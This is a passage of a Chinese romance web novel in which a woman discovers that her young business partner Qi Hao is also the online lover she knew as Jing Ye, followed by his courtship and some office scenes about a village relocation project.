今天她没有拖延,刚到下班时间,就迅速下到了地下车库,红色的野马在车库里的车速就比平时快,上了高架后更是一路飞奔,她也不知道在赶什么,就想快点回家、快点回家。 停完车后难得和值班的保安没有多话,她连晚饭都没有买,就急匆匆地走到了公寓楼下,三两步跨进电梯厅,空旷、一个人都没有,她才惊觉自己的失态。 在期待什么呢? 电梯来了,甘歆有一瞬间不太敢往里头看,毕竟有那么两次的机会,在这个灯光并不明亮的老旧电梯里,遇到了……他。 依旧是空的,她不得不张口呼吸了一下。 23楼的高度,电梯也只用半分钟而已,她却觉得自己有些难受。 不该有的想念,不该有的期待,不该起的心思,她过去弄不清混淆的时候,就下定决心要克制住,她将心思打成了结,绑上了石头,沉入湖底,试图用经年的湖水冲刷、掩盖,等待最终的磋磨殆尽、消弭。 出电梯的时候甚至觉得自己有点儿傻,还搞什么独身主义,明明是半点的正经恋爱不谈,次次都要剑走偏锋。 她慢慢地走到了家门口,掏了半天的包都没找到钥匙,委屈极了,却觉得自己活该,都是自己心直口快的报应。 钥匙找到了,甘歆却有些不愿意开门,就在门口站了许久。 门里和门外有什么区别呢? 一样的,都是一个人。 甘歆自嘲地笑了笑,又觉得自己矫情,才想着去开门。 她的手被握住了。 从她的背后伸来,这只手宽大温暖,手指修长正白,连指甲周边都干干净净,一点瑕疵都没有。 甘歆怔住了,她不敢往后看,任由这只手带着自己把门锁打开,拔下钥匙后仍旧没有放,但她的手背已经感受到了一些潮意。 “好久不见,”沉静又富有磁性的嗓音从耳后袭来,“猜猜我是谁?” 原本早就想好的答案,此刻却动摇了,甘歆看过两双这样白净的手,也听过两个人有这样相像的声线。 齐灏?景页? 她想去看这人的脸,却被另一句话止住了动作,“别回头,猜猜看,我是谁。” 答案的倾向变了方向,她印象中的齐灏,不屑玩这种追逐游戏,推杯换盏是景页的喜好。 “你怎么来了。”甘歆没有回答,问了另一个模棱两可的问题。 “不希望我出现吗?” “……我不喜欢搞突然袭击,”甘歆想回头,脖颈却被制住了,即使这样,她也没有感觉到任何危险,“你走吧。” “我想见你,”身后男人的话语突然有些急促,“你想见我吗?” “……我跟你说过,我们的关系那时候就结束了。” 甘歆看不到,她背后的齐灏表情复杂,错愕又无奈,“不对,我们的关系还没开始。” “你再不走我喊人了!” 齐灏投降,双手放下,甘歆霎时转身,看都没看,一巴掌挥过去。 啪—— “跟踪我,下次我就报——”等她看清打的是谁,整个人都不好了,浑身打了个激灵,“齐灏?!” 刚刚那一巴掌应该是气极了,一点力都没有收,齐灏的掌骨抵在嘴角,看向甘歆的眼神里却只有笑。 “好疼啊。” 甘歆恨不得原地消失,怎么会以为是景页的,他从来听话礼貌,出格的事更是做得少,除非经过自己的允许,才会放肆一点。 “……你怎么会在这里。”她本来想道歉,但想想自己也没错,被这么对待还聊了好几句,算给面子了,“进屋说吧。” 甘歆从鞋柜里拿出了那双之前特意买的拖鞋,她没管齐灏,反正这里他也熟门熟路,径直去厨房倒了两杯水出来,放在餐桌上。 见齐灏还在揉脸,她这才觉得有些不好意思,“还疼?” “没想到你力气这么大,”齐灏眉眼都弯了起来,完全不见刚刚开会时候的自持淡漠模样,还往她这凑了凑,“要呼呼才会好。” “呼你个头,袭击单身女性,没报警都算轻的了,”甘歆喝了口水,“你来干什么。” “你不是说晚上有时间吃饭吗?我来吃饭的。” 胡搅蛮缠,“没买菜。” 齐灏指了指放在玄关的袋子,“我买了。” “不做,”甘歆没好气,虽然刚刚回家时候的急躁平复了,但刚刚让她想起景页的感觉并不好,况且,她有些不敢靠近齐灏,“你找沈确去,是他找你吃饭。” “好吧,其实我也会做一点,”齐灏起了身,去门口拿了袋子,“但发挥不太稳定,而且我也一年多没自己动手了。” 甘歆拿他没办法,也被自己心底的一些小小的开心左右了,站起来拿过了他手里的袋子走进厨房,表情冷淡地对他说:“吃完饭就走。” “嗯。”齐灏点了点头,就倚靠在厨房的门边上。 依旧是简单的食材,番茄炒蛋,青椒肉丝,香菇豆腐汤。甘歆准备食材的时候,看见齐灏就在那杵着,她本意不想让他帮忙的,但看他实在太闲了,就让他来打鸡蛋。 靠近了后,才闻到他身上有一股好闻的香味,是低调悠扬的木香,她这才注意到齐灏的装束,西装外套好像进门的时候就没有,藏蓝色的毛衣里是水色的衬衣,依旧是西装裤,她总觉得熟悉,好像……曾经见过一样。 “这样就可以了吗,”齐灏转过身,打蛋的筷子撩了些蛋液起来,顺滑落回碗里,“姐姐?” 她恍惚了一下,想去拿手机求证,却想起来景页的联系方式已经被自己删了。 这顿饭甘歆吃得沉默,齐灏却怡然自得,他动作依旧优雅,连喝汤都没有声音,应该是从小有着良好的教养。 她越看齐灏越不对 劲,但和景页做过的那些事实在太过荒唐,都不知道该怎么开口。 饭后齐灏自然而然地去洗碗,甘歆坐在沙发上啃苹果,坐立不安地,又起身去厨房偷偷看他,背过身去的齐灏,和照片里的景页,也实在太像了。 齐灏似乎感觉到了背后的目光,动作顿了顿,没回头,“快洗完了。” “不是,”甘歆吸了一口气,斟酌了半天才问,“你……喜欢看电影吗,就是线上大家会聚在一起看的那种。” “看过,体验不太好。” 甘歆的心跳有点快,继续试探,“那你会做拼豆吗?” 齐灏沉默了几秒,“玩过几次。” 她不敢继续往下问了,再多的细节,都在景页的身体上,锁骨下的那颗小痣,漂亮饱满的六块腹肌,蜿蜒向下的人鱼线,还有在激烈行事时会在手臂上爆出来的青筋,以及脚踝处凸起的弧度、脚背上会挑起来的细骨…… 她心神荡荡地坐在沙发上,连双腿都紧张地并拢起来,捧在手里的茶杯早已凉了。 厨房里的水声停了,齐灏走到了甘歆的面前,看着她略显慌张的神色自然明白她在想什么,他坐在了地板上,双腿曲起用手臂环着,抬头看向他的月亮。 甘歆看向他,伸出手将视线里齐灏的脸挡住了,太像了,简直一模一样,像得她心惊。 “你……有没有双胞胎哥哥?” 齐灏撇过头去,几乎要被她气笑了,咬了下嘴唇才回过头来,并没有搭理甘歆的话,而是自顾自地说—— “你和那个男人结束了?换我怎么样。” 第33章 第33章骗我好玩吗?喜欢听我叫?…… “不行。”甘歆斩钉截铁。 “就因为年纪小?”齐灏毫无顾忌地戳着甘歆的弱点,“那个男人几岁?!” 21岁,景页21岁,齐灏也21岁。 “你还没回答我的问题,”她的声音有些发颤,“你有没有哥哥?” “我们家,”齐灏盯着甘歆一个字一个字地说着,“从我爷爷开始,三代单传,只有我。” 甘歆看向齐灏,有一瞬间的陌生,有个非常不好的猜测从心底油然而生,理智告诉她,不能跟着齐灏的节奏走,如果要避免这个最坏的情况,她必须提前从齐灏的言语围攻中出来,这也是她和齐灏近半年打交道下来的心得。 “你就是这样追我的?”甘歆平静了下来,话也说得稳了。 齐灏有些愣住了,看向甘歆的眼神有些不解,他下意识地说出口,“什么?” “总算抓到我单身,然后问我能不能换你?”甘歆俯身下去,脸离齐灏很近,像是故意调戏勾引,表情却冷傲,“那我明天就交个男朋友,你是不是又要往后排?” “你——”齐灏语塞,眉头都拧紧了。 “你不是说上次我那个高中同学对我有好感吗,”甘歆对他挑了个眉毛,似笑非笑,“当个后妈都不用生孩子,也不是不行。” “甘歆!”齐灏瞪着她,忍不住伸手去握她的脚踝,像极了无措的小狗,爪子搭在了人的脚背上,“你不能这样!” “为什么不能,你不是在蹲我的空窗期吗?” 甘歆自认,对齐灏有好感,但这并不是他可以胡作非为的筹码。 天之骄子、身居高位?运筹帷幄、为所欲为? 即使答案就在眼前,她也无意去猜测了,景页已经删了,管他的。至于齐灏,如果长这么大没受过挫折,没吃过苦头,她不介意做这只螃蟹,给太子爷上一课,让他彻底明白,什么叫十三年的盐没白吃,路没白走。 “你不能这样……”齐灏的声音低了下去,看向她的眼神里多了些乞求,“那我要怎么追你?” “齐灏,”甘歆闭了闭眼睛,脑内掠过了她和景页做过的那些荒唐事,“你有没有骗过我?” 冷淡持重的青年脸上露出了鲜有的慌乱,他缓慢地摇了摇头,“……没有。” 甘歆看向齐灏,声音都冷了下去,“我最后给你一次机会,你有没有骗过我?” 齐灏张了张嘴,又将整个脑袋埋进了膝弯里,他像那个雨夜在飘窗上那样抱紧了自己,漏出来的声音都闷闷的,“我真的,没有骗过你。” “你走吧,”甘歆的脸转向了一边,不再看他,“别在我身上浪费时间了。” 接近一米九的男人,在沙发前近乎团成了一团,他身上的锋芒好像都消失了,没有寰科、没有齐家、甚至没有他自己,他一层层地暗淡下去,几乎要褪色。 甘歆的脑子里也一团乱麻,再傻、再迂回,她也已经明白是怎么回事了,她又凭什么不生气,她又怎么会不伤心,对于景页,她付出了真心,甚至还想和他见面确立情侣关系,但又因为自己对齐灏产生的好感,将景页推拒,还用力克己。 到头来,这俩人竟然是同一个。 他一面在虚拟里与她沉沦,另一面又在现实中和她正常交际。 她都不知道齐灏是怎么能够做到这样的,独坐高台隔岸观火? 又怎么能在和自己的面聊之外,还和自己做……那种事情。 他会怎么看待自己呢?矜持只不过是表象?拒绝只不过是遮掩? 还不是照样臣服在欲望之下,还不是雌伏在男人的诱惑里?! 他搭了台,却只坐在宾客位,看着自己演。 自己像个蒙在鼓里的傻子一样,尽情尽兴,像模像样! “齐灏,”甘歆自嘲地笑了出来,心底蒸腾起来的酸意染上了眼睛,起了一层雾,她强压住情绪,“没有你这么追人的。” 只一句话,她便再说不出口了,被玩弄的是自己,她又有什么资格说教。 “以后除了工作,我们不要联系了。”她转过头,咬紧了牙关,到底没有让因委屈和愤怒蓄起来的泪落下来。 脸已经丢尽了,里子得捡起来。 她已经不想去看、不想去管此刻坐在地上的齐灏,缓缓从沙发上站起来,周身的血液流速都仿佛变慢了,她四肢冰冷,连走路都僵硬,但她想离开,离开这个把她玩弄于股掌之间的人,离开这个自以为是的骗子。 甘歆往卧室的方向走去,抬腿刚走了两步,就被齐灏从后面抱住了。 “别走。” 齐灏的声音哑了,但甘歆没有心软,她剧烈挣扎着,想把他推开,凭他说什么都不会再信。 “别走姐姐!别走……” 他用极大的力气禁锢住了甘歆,双臂环过她的肩膀,勒的她发疼。 可她说出的话更疼,“骗我好玩吗?喜欢听我叫?你直说啊,凭你的身份,别说叫给你听,让我脱光了躺在床上随便你玩,也不是不可能,你又何必在这跟我演深情的戏码?” “我没有骗你……”齐灏的声音更哑了,还带了些朦胧,“我从来没有骗过你……” “还要怎么骗,嗯?”甘歆气得近乎吼了出来,“你放开我!!” “我不放!!” 甘歆觉得自己的后脖颈被齐灏的温热鼻息喷洒,她挣扎的力气小了,渐渐也不再动作,话里都是失望,“……放手。” “我没有骗过你……”他的声音里混着颤抖和慌乱,“从一开始,我就没想过隐瞒。” 甘歆冷笑了一声。 “是你……”他又开了口,却不知道该怎么说下去。 “是我什么,是我自甘下贱,是我活该?”甘歆脸转到了一边,心里委屈了起来,眼睛红了一圈。 “不是!当然不是……”齐灏的脸在甘歆的后颈摩挲了一下,声线喑哑,“你说你不考虑恋爱,谁都不考虑……是我,是我引诱了你。 “我没有骗你……我说想吸引你,是真的,想对 你做的坏事,也都是真的,我怕你觉得我龌龊,会不再联系我,才去做的拼豆二维码,你删的我那次,我心里乱极了,在楼道里等了好几个小时,才看到你回来,幸好我来了……还有那天晚上你让我出现在你面前,我来了的。” 齐灏的气息都有些不稳,甘歆也觉得脖颈那的鼻息都乱了。他接着说:“那次去晟宇,给你送北泽村的资料,我都做好要和你坦白的准备了,你就是不下来…… “你一点都、一点都不好奇我是谁,我要怎么追啊……” 甘歆突然觉得腿有点软,有些站不住,齐灏揽住了她,“怎么了,哪里不舒服??” 她这才抬头去看齐灏的脸,满脸疲惫,眼眶通红,哪里还有半分平日里的沉着模样,她想说话,却感觉嗓子被堵住了,伸出手对着餐桌上的水杯指了指,齐灏立刻会意,将她又扶回了沙发上,端了杯子喂她喝,小心翼翼。 甘歆坐回了沙发上,齐灏也坐回了地板上。 “送蝴蝶酥?”她问。 齐灏点了点头。 “还有什么。” “只有在去北泽村的路上,我遮掩了一下,”他的声音又低了下去,“是因为我觉得那不是坦白的好时机。” 甘歆又想说什么,被齐灏打断了,“但我后面给你发过一样的窗框。我就站在门外,你只要开门……就会知道是我。” 齐灏的声音渐渐稳了,却又多了份悲凉来,“可是我始终没等到。 “我都告诉你我叫齐灏了,你怎么……还是不往我这想呢?” 他的眼眶都急得有些湿润了,长长的睫毛上沾染了水汽,深邃的眉眼更加立体,“我告诉你我在美国,我把所有的重合可能性,都摊开了放在你面前,还恶劣地让你叫我的名字,可你就是不听不想不看……真的有这么难猜吗?” 齐灏看向甘歆的目光陡然锐利,咬肌都绷紧了,语调又凶又狠,像劈过来的大刀,“是不是非得脱光了才认识?!” 下一秒,他也把脸转过去了,鼻翼微动,他的手掌盖在了眼睛上,嘴角勾了勾,笑里面藏着苦,“有的时候,我觉得这样就很好了,短暂地、虚无地拥有你,就很好了。” 甘歆的呼吸好像停住了,看着坐在地板上的齐灏,心底里复杂的情绪攀爬而上,像春风吹过的爬山虎,盖住了整面墙,她眼眶里的泪终于落了一颗下来,滑落到嘴角,咸涩的味道从角落的缝隙里洇进了口腔。 “……为什么不直接告诉我呢,这个圈非绕不可么?” 齐灏再次回过头来,仰着看向她,“是我没说么,还是我表现得不够明显,我的喜欢都要溢出来了,你连一句明确的拒绝都不给我……” 他的嘴角往下瘪了瘪,眉皱得极深,眼眶更红了,声音哑得不像话,“求你,看看我……行吗?” 甘歆别过了脸,抹了抹眼睛里的泪水,猜测有了答案,心却更乱了,跳得都不规律,她不知道该怎么回应,只能顾左右而言他,“别坐地上。” 齐灏不动,依旧仰望着她,孤注一掷,“甘歆,我喜欢你,真的很喜欢你,给我个机会,好不好?” 在猜测到答案的时候,她以为齐灏会居高临下、会从容地看着自己陷入慌乱,她以为齐灏永远高高在上,甚至深谙上位者的卑劣陋习,斗心眼、耍手段,藏匿偏好、玩弄人心。 可他说得这样真诚,看起来又是这样可怜。 或许他真的很喜欢自己吧……但他年纪轻轻,就有这样的心思城府,甘歆依旧不敢松口。 “齐灏,”她也苦笑了一下,“你想要什么样的女人没有,不一定非得是我,要不这两年,你再寻摸寻摸,总能找到更适——” 坐在地板上的青年双膝着地,直起了腰背,左手手掌覆上了甘歆的后颈,右手环过了她的腰,仰头向上。 他以最虔诚的姿态,跪吻了她的唇。 轻触即离,他的语调再次不稳,连还在她身上的手都微微发颤,“找不到了,一定是你,只有你,非得是你。” 她的手抵在齐灏的心口,往前推了一把,青年跌坐了下去,双手垂落回了两侧,再次看过来的眼神近乎绝望,他在等她最后的审判。 “就一次。” 甘歆的心彻底软了,虽混着酸意,也带着不解,却不忍再拒绝他。 “我只让你追一次。” 他发怔的眼睛眨了一下,长长的睫毛带出了积蓄已久的泪,滚烫滑落,嘴角却往上抬了抬。 齐灏活了过来。 第34章 第34章你说的,人不可能天天都走运…… 距离上次的坦白局已经过去了一个多月,三月底的天气,风里都有些暖意,这期间齐灏找甘歆并不频繁,只有每个工作日的午餐雷打不动,甘歆已经习惯了带空饭盒上班的日子。 偶尔,齐灏会来甘歆家里吃饭,认认真真地提前打招呼、约时间,然后自备食材上门,只不过下厨的人变成了齐灏,他做饭的确没什么天赋,做的大多数也是简餐,虾仁炒蛋、杂菜炒蛋、韭黄炒蛋……终于在第三次来的时候,甘歆让他住了手,只给他做一个菜的机会,让他别再糟蹋鸡蛋了。 齐灏追人追得很沉默,比以前的话更少了,有的时候一天就只有“晚安”。 工作上他们依旧有交集,在公事上,齐灏依旧强势、自我,不断推翻执行细节,给的调整时间也很有限,下属们的怨气逐渐增多,全然忘了当时拿到寰科感谢信时的昂扬斗志,在背后蛐蛐太子爷是周扒皮转世。张然也来和甘歆旁敲侧击过,看看是否能看在人情面子上,至少多给他们些时间。 她当然不会答应。 如果现在晟宇无法跟上寰科节奏的话,这次融资也只是昙花一现罢了。 此刻甘歆的视线终于从屏幕前移开,往办公室的窗外看去,天又黑了,好像从年后开始,加班已经成为了日常,她直起身看看办公室外,还有不少同事在,灯全都亮着,再看坐在门口的张然,好像有些焦急地在打电话,动作又像是在安抚,应该是儿子在问妈妈怎么还没回家。 她将缎带发圈解下,双手穿进了发丝里,来回松散了一下,捏住了发尾看了看,有些已经分叉了,再从抽屉里拿了镜子出来照了照,怎么感觉连眼尾的细纹都出来了些……她叹了口气,最近工作强度的确太大了。 将头发重新扎好,又顺了一下栗红色的矮马尾,甘歆走出了办公室,到门边手握成拳在玻璃上敲了敲,将大家的注意力吸引过来。 “今天就到这吧,大家早点下班。” 看过来的眼神有狐疑有惊喜,却没人敢动,张然小声替着大伙儿说了句话,“有些东西应该还没做完,明天万一要过进度……” “没做完的明天再说,这几天大家辛苦了,”甘歆话锋一转,“后面加班的日子不少,但也不能每天这么干,回吧。” 一颗定心丸下来,不少人轻松了下来,陆陆续续都开始理东西,甘歆见状也回了办公室,没再出现给大家压力。 张然是最后一个走的,走之前还来和甘歆打了招呼,“歆总,您也早点回去。” “嗯,”甘歆对着她点头抿嘴笑了笑,又叫住了她,“业务上的工作你不用陪到最后的,以后到点了就回,下班后也没什么商务上的事了。” “不好意思啊,”张然敏锐,一下就明白她为什么这么说,“最近孩子有些粘我。” “好事呀,没别人,别跟我见外啦,早点回去陪儿子。” “嗯嗯,你也是,早点回。” 张然走的时候外面办公室的灯没关,应该是特意留的,甘歆心里有些暖,又继续投入到工作里去,一页页内容过下来,尽量详尽地写着备注和修改建议…… 不知是屏幕的蓝光太足,还是精力耗费了太多,甘歆目光沉顿,趴在桌上睡了过去。 今夜无星无月,云层连绵,好似消散了整个冬季的潮意,又回到了这个城市,在密谋一场酣畅淋漓的春雨。 她被若有若无的木香引醒,睁开眼的时候竟是侧躺在沙发上,枕着别人的大腿。 向上寻去,齐灏锋利削薄的下颚就落在了自己的眼里,他今日的衬衫是黑色,很少见,领口的纽解开了一颗,偏白的肤色下嵌着凸显生命力的喉结,或许是躺着的自己顺势压到了他收进西裤里的衣摆,面料绷得很直,连胸口的轮廓都清晰,更显青年人的蓬勃性感。 “醒了?”齐灏刻意压低了声音,缱绻温柔。 甘歆仿佛被抓了现行的小偷,心里一惊,表面却不动声色,刚睡醒的她声音也哑,像是特意做了磨砂的玻璃,“嗯。” 齐灏揽过了她的腰,又往自己身体这边带了带,下一秒礼貌拿开,他左手手肘抵着沙发扶手,撑着自己的脑袋,右手盖住了甘歆的眼睛,“再睡会儿吧。” “……几点了?” “九点二十,你才睡了十分钟,”齐灏的拇指指腹在她的太阳穴上来回轻轻蹭了两下,“睡吧。” 应该要起来的,更不应该枕在他的腿上,太暧昧了。 可他的手真的很暖,木香味也浓郁了起来,甘歆沉沉地睡了过去,睡前的最后一个念头,竟然是今天齐灏的掌心没出汗。 再次醒来,是齐灏将她叫醒的,他的手一下下地蹭着甘歆的手臂,不轻不重,还时不时捏一下,他没有叫她的名字,只是时不时喊一声,“姐姐,醒醒。” 疲惫,加上隐形眼镜的干涩,此刻甘歆的双眼通红,看着齐灏有些发懵。 “十点了,回去睡吧。”他说。 甘歆“嗯”了一声,自己撑着沙发坐了起来,却发现沙发边没有鞋,她的脚被透明丝袜裹着,在灯光的照耀下,光彩有些异样,察觉到了同样看过来的目光,脚趾还下意识回缩了一下。 她听到了齐灏轻轻笑了一声,却不敢去看他此时的表情。 “我去给你拿。” 齐灏起了身,从她椅子前拿了小皮鞋过来,黑色的菱形编织羊皮面,看着低调,鞋底却是亮眼的红,见鞋着了地,她正欲伸脚去穿,齐灏却拿起了一只,另一只手轻轻覆在胫骨后肌上抬了抬,为她穿上了一只鞋。 见他另外一只还想这么做,甘歆阻止了,“不用,我自己来。” 齐灏没有坚持,在甘歆理包的时候就站在门口等着,没有催促,甚至没有看她,而是看向了外面的办公室。 甘歆最后拿起了车钥匙,上面的拼豆钥匙扣依然在,她没有把它拿下来,再看向齐灏,才问出口,“你怎么来了?” 齐灏听到了她的问话才转过身,“看你办公室灯还亮着,就过来看看。” “你看得到我的办公室?”甘歆挑了挑眉毛,有些惊讶。 “……不是,今天晟宇有股东会,我下午来开会的。” “股东会四点就开完了——”话说到这里,甘歆没有继续。 “晟宇楼下的咖啡很好喝。” 甘歆咽了咽唾沫,她知道楼下有个Costa,“那里也看不到我的办公室。” “我看到张然离开了,但后来电梯就没下来过,我想……你大概还没走,就上来看看,才看到办公室的灯亮着。” 对于齐灏细致的解释,甘歆挺受用的,但还是忍不住说他,“不是挺会说的么,老挑个模棱两可的答案,让人讨厌。” “我怕你不喜欢听。” 甘歆不置可否,走到办公室门口关了灯,路过了齐灏并没有停留,“走了。” 青年快速将大办公区的灯关掉,整个空间都暗了一度,又匆匆跟上了她,在电梯将关未关之时把住了门,才将自己也送进了轿厢里。 “还有事?” “有事。” 甘歆抬头看向他,扬了扬下巴,示意他继续说。 “找你。” “找我做什么。” “……想问问你这周末有没有空。” “没空。” “有个慈善晚宴,”齐灏没管甘歆的回答,继续说道,“能请你和我一起去吗?” 甘歆皱了皱眉。 “投融界会来很多人,沈确也会去的……就是需要邀请一名女伴。” 电梯已经到了B2,甘歆依旧没有答应齐灏,她走出电梯厅,向自己的车边走去,“很晚了,没别的事的话我先回去了。” “还有——”齐灏忙不迭走过去,握住了甘歆的胳膊。 她没有回头,心里说不清是烦他更多还是气他更多,但停下了脚步,“说。” 齐灏问:“能上车说么?” “不方便,就在这说。” “司机下班了,你能不能把我送回去。” 甘歆愣了愣,把胳膊从齐灏的手里轻轻挣开,脸别到了一边,“就这?” “……嗯。” “上来吧。” 她解了车锁,正要往驾驶座走,却被齐灏抢了先,看着这么高大的一个男生,硬把自己塞进了略显狭小的座位,调整的时候他弯下的身子都快碰到膝盖了,甘歆突然觉得有些好笑,她抿住了嘴不让自己笑出来。 齐灏调得有点费劲,终于把座位挪到了最往后,整张脸都涨红了,看向甘歆的时候还有些躲闪,“好了,我来开。” 这辆车甘歆还没坐过副驾,拿过安全带的时候有些手生,捞了好几下才捞到,卡扣怎么摸都摸不着,最后是齐灏帮着摁进去的。 甘歆清了清嗓子,“那先开回你家吧。” “开回你那就行,我们离得挺近的,我也住在江边。” 她想起了和景页交换地址的的事情,现在谜底揭晓,齐灏就坐在身边,甘歆却觉得还是有些不真实,“你不会是跟踪狂吧?上次我回家也是。” “……没那么空,”齐灏启动了车,单手转了方向盘,转了个流畅的弯,往出口开去,“每次来都是忍不住了才来见你。” 出了车库,细密的水滴打在了挡风玻璃上,甘歆才发现下雨了,她把车窗放了下去,就有些轻柔的雨点子落到了她的手背上,车速渐快,手好像能握住风。 手觉得冷了,才缩回来把窗关好。 车内正好播到了那首景页分享给甘歆的纯音乐,她才看到这个音乐的名字叫StarryWinter,明明说的是冬季,脑海里的画面却是有壁炉的雪屋,倍感温暖。 她看向沉默地开着车的人,高架上暖黄的钠灯挨个往后退,他的脸上忽明忽暗,明的时候……就是齐灏,暗的时候,就好似景页,甘歆发现,其实这两个人也并没什么不同,守节有礼,也寸寸相逼。 说起来,过去每次起疑的时候,都是被自己的侥幸掩盖过去的。 她内心自嘲,人家就差拿放大镜和大喇叭了,自己还跟个鸵鸟似的。 这么说来,齐灏确实也有些无辜。 这座城市CBD商圈的LED屏幕连夜里都不会关,上面还停留着过年时候的广告,电子烟花在屏幕里无声炸开,绚烂都有了边界。 齐灏脸上的光影也跟着变了,这人明明去年还是一副男大模样,今年就已经是行业里大杀四方的小齐总了,才21岁啊…… 甘歆回过头,对着前方发呆,不禁回想起自己的21岁,刚考过六级,正准备论文开题选导师,还会抱怨食堂的饭菜和浴室里忽冷忽热的水,那时候的天总是很高很蓝,日光鼎盛,暴晒后的草坪总有一股清香,近忧是今天晚上吃什么,远虑是毕业论文的开题报告。 ……齐灏呢?他压缩了多少时间? 又一朵电子烟花绽放,已经刷开雨点的挡风玻璃上也染上了光影流彩,甘歆突然想起了春节时齐灏给她打的那个电话,“齐灏?” 齐灏的头往她这偏了偏,视线依旧保持往前,“嗯?” “除夕那天,在新年快乐之前,你说了什么?” 他笑了笑,咬了下嘴唇一下,又呼了一口气出来,“我说……我是齐灏,也是景页,新年快乐。” 甘歆瞬间转过头来看向他,一脸惊愕。 齐灏快速地看了她一眼,脸上并没有可惜,依旧笑得坦然,“你说的,人不可能天天都走运,我那天好像运气不太好,但没关系,有机会追你就行。” 后续两人在车里都没说话,齐灏直接将甘歆送到了公寓的电梯口,道了再见后,等电梯的数字跳到23楼,才离开楼栋。 他特意绕了半圈,走到了楼有阳台的这面,还没抬头,电话就响了,是甘歆打来的。 “我说可以追我的意思是,没事也可 以找我。” 他愣了几秒,才回答,“好。” 齐灏抬头,23楼的阳台窗边,有一个亮点,还左右晃了晃。 今夜没有月亮,但他的月光似乎愿意照耀在他身上了。 甘歆在阳台边,看见底下那个小小人影,像风一样跑了起来,直至视野尽头。 一夜春雨,润物无声。 第35章 第35章好人,应该要有好报,抱抱。…… 果不其然,在周四的时候,沈确给甘歆打了个电话,问她周末有没有时间,有个慈善晚宴像邀请她一起出席,甘歆装作不知道的样子,但毕竟老板发话,她也不得不匀出时间来。 “那我周六差不多四点半来接你。” 她不好拒绝,于是应下了。 这件事她犹豫了很久,最终还是没有告诉齐灏,自己跟着沈确去是加班,跟着齐灏去……没站得住脚的理由。 倒是他这几天主动了很多,甚至在昨天司机来送午餐的时候,还特意让甘歆去地下车库一趟,他们俩在迈巴赫的后座上一起吃了午餐,饭菜香盖过了高贵的汽车香水味,两个人好像在偷来的时间里见面。 甘歆问过他这饭菜到底是谁做的,每天吃都吃不腻,齐灏只笑笑说是秘密。 吃完饭她也没有多停留,小齐总的时间更是争分夺秒,她快速离开了,只是在回到办公室后,才给齐灏发了条消息,“也是在迈巴赫里吃过外卖的女人了,谢谢小齐总。” 齐灏回得很快,嘚瑟得像个小学生,“下次换库里南?” “败家子。”甘歆就回了这三个字给他。 最后是以齐灏的一张狗狗挺胸的表情包收的尾。 甘歆盯着这张表情包看了很久,再次意识到齐灏和景页是一个人的事实,她往上翻了翻聊天记录,和齐灏的内容大多是打字,中规中矩,连说话都官方,这个表情包,她只在和景页聊天的时候看到过。 思及至此,甘歆翻开了家庭聊天群,翻着去年的记录,找到那张拼豆二维码照片打开了,她长按识别了一下,头像依旧是一枝龟背竹叶,昵称也只有“景页”两个字,好像什么都没变过。 她突然有些好奇齐灏的昵称,好像从来没注意过,加完后就直接输了备注进去。甘歆退出了景页的添加好友页面,又翻到了齐灏的个人页面,“缺水”,甘歆愣住了,景页加上水的话,可不就是齐灏的灏? 原来他说的从来没想过要瞒我,是真的。 不着痕迹地留这么多线索,是等着被我发现吗? 不过留得这么隐晦,不怕我发现不了吗? 甘歆的眼神逐渐温柔了起来,嘴角也有一抹不易察觉的笑。 门被敲了敲,张然站在门口,“歆总。” 她收敛表情,“进。” “歆总,”张然递过来一份资料,“这是北泽村第一批拆迁的进度,完成率83%,还有十几户本周签约,其中三户人家是有点困难的。” 甘歆接过资料,翻了几页后停了下来,“这三家的补偿是最高档的,为什么不肯签?” “他们不想搬离北泽,说是家里几代人都在这里。” “我们也有不搬离的方案,没有跟他们说吗?” “说了的,”张然皱了皱眉,“但他们说这是保障房,和他们现在住的自建房差太多了,即使是一比二的补偿,仍旧觉得不够。” “开出的条件呢?” “现金补偿不变,额外给一比一点五的保障房。” “他们怎么不去抢?”甘歆看着张然,眼神凌厉了起来。 “……村民就是这样,毕竟我们也不能采取强制措施,”张然试探着问,“要不派两个人去现场沟通一下,就以调研为目的?” “报告上不都写明白了么,再送两个人去挨骂啊?” 张然看向甘歆,“那……怎么办好?” “先放着吧,晚点我给他们王主任打个电话,让他们自己人去套套话,看看究竟怎么回事再说。” “这个事……要不要和沈总报告下?” 甘歆手上动作停了下来,也看向了张然,到嘴边的等下周周会再说没说出口,转而说道:“你觉得要和他说么?” “呃,”张然显然一顿,“要的吧,毕竟这也不是我们一个部门的事情。” “但我现在实在分不出时间,明天要和寰科过进度,”甘歆拿起了水杯喝了口水,再次看向张然,“要不我和王潇打个招呼,你去汇报一下?” “不不不不,这怎么可以,”张然连忙摆手,胸口挂的工作牌都被带到了,“越级汇报不行的。” “就事论事,没什么不行的,北泽的事情也不能耽搁,你去汇报下吧,”甘歆把资料递回给了张然,“我跟王潇约时间,再说明下,时间敲好了他应该会来联系你。” “……真的可以吗,歆总?”张然看过来的表情小心翼翼。 “当然,”甘歆给了她个明媚的笑,“去忙吧。” “……好,那、那我先出去了,有事您再叫我。” 望着张然出去的背影,甘歆若有所思地叹了口气,就直接在线上和王潇约时间,说明来汇报的人是张然后,王潇还特意确认了一下,说如果她没时间的话可以另约,但甘歆以时间紧张为理由,还是坚持让张然去汇报,王潇才说了明白。 下班前,沈确又给她打了个电话,“晚上有空吗,吃个饭?” 甘歆看着已经处理完的工作,一时间有些说不出口。只是这个不回答,对于沈确来说,就是回答了。 “就我们俩公司附近吃个简餐,不是饭局。” “……行。” “对面的黄鱼面馆?” “好。” “那我先去占位置,你忙完了过来。” “好的沈总。” 甘歆看见张然回来了,脸色并不太好,也不敢上前安慰,有些事情得她自己消化,等她自己缓过来劲了,才能被别人说。 她特意等大家走得差不多了才出公司的,现在虽然也无所谓公司里的那些流言,但之前和沈确没什么芥蒂,有些玩笑开了也就开了,现在却是她自己不愿意。 说是黄鱼面馆,却是个高档地方,老板是浙商,去港城打拼了十几年,赚了点钱回来开的餐厅,全手工剔鱼刺,连腌菜都是限量的。 服务员将她引入定好的小包间,他们各要了一碗黄鱼面,沈确又给她面前的杯子里倒上大麦茶,他此时的领带已经不见了,应该是留在了办公室,衬衣领口也解开了一颗,整个人松散惫懒。 “喝茶,”沈确说,“最近忙坏了吧?” 甘歆接了过来,“有点忙,正常的,两个大项目。” “怎么不问我加奖金的事了?” 她笑了笑,“我相信您有决断的。” “最近人手不够么,要不要再开放两个名额给你招一下?” 沈确话里有话,甘歆顿了顿,摇了摇头,“够的,大家都很努力。” “你那个助理叫……张然?今天下午来跟我汇报的那个。” “嗯,她也是我大学同学。” 